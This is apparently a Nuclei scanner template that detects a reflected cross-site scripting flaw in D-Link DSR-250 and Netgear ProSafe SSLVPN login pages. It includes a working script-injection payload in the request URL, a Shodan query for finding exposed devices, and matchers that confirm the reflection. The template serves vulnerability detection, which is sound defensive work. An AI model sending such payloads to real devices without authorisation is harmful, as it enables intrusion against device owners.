id: dlink-netgear-xss

info:
  name: Dlink DSR-250 and Netgear Prosafe - Cross-Site Scripting
  author: gtrrnr,vulnspace
  severity: medium
  description: |
    Dlink DSR-250 and Netgear Prosafe are vulnerable to reflected cross site scripting endpoint scgi-bin/platform.cgi in parameter SSLVPN.
  reference:
    - https://www.encripto.no/forskning/whitepapers/Netgear_prosafe_advisory_june_2015.pdf
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"DSR-250"
  tags: xss,dlink,dsr250,netgear

http:
  - method: GET
    path:
      - '{{BaseURL}}/scgi-bin/platform.cgi?page=portalLogin.htm&portal=SSLVPN"><script>alert(document.domain)</script>'

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(response, "text/html")'
          - 'contains_any(body, "D-Link","Login.PortalName")'
          - 'contains(body, "value=\"SSLVPN\"><script>alert(document.domain)</script>")'
        condition: and
# digest: 4b0a00483046022100c51a5be30c650a408f4077e89e9854eba1360c1ec82c991c4c09c539fe31bc6e022100c07f481e8efd70ae907ac8ed3ef2ccce1ab8b15c5d42b011d9b581aeef50759a:922c64590222798bb761d5b6d8e72950